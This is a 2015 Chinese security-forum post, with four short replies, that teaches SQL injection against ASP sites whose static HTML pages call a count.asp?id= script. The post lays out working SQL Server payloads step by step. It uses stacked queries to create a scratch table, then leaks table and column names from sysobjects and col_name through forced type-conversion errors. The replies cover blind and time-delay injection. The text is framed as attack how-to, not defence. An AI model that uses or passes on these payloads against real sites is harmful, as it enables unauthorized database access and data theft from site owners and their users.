首页
社区
课程
招聘
另类SQL脚本注入方法总结
发表于: 2015-7-26 10:41 2091

另类SQL脚本注入方法总结

2015-7-26 10:41
2091
大家在是否碰到过这样的站点:
  全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
  我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
  攻击方法:
  查看源文件/看里面是否有通过JS来调用的页面。
  如调用来更新文章的浏览次数。
  我们就可以这样来试一下可否注入:
  http://服务器域名/count.asp?id=1552’
  看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
  在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
  post.htm内容:主要是方便输入。
  对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
  对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
  然后插入一条记录:id=1552;insert into aaa values(’test’);--
  再之后枚举出他的数据表名:
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
  这是将第一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
  Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
  将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
  /search.asp,行21
  其中vote就是表名:
  也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
  然后id=1552 and exists(select * from aaa where aaa>5)
  读出第二个表,^^^^^^一个个的读出,直到没有为止。
  读字段是这样:
  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
  ……类推

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 43
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
现在很多网站是静态网站,根本不认加“'”的输入,如何注入啊?能讲讲吗?盼
2015-9-22 12:48
0
雪    币: 41
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
前提是打开了错误回显,否则只能靠盲注和延时
2015-11-5 10:08
0
雪    币: 43
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
服务端做了过滤,基本没戏。
静态网页没戏
2015-12-16 14:17
0
雪    币: 0
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
如果,表的名称用 CV_A7K9m74 这样你怎么枚举
2016-3-14 14:56
0
游客
登录 | 注册 方可回帖
返回
//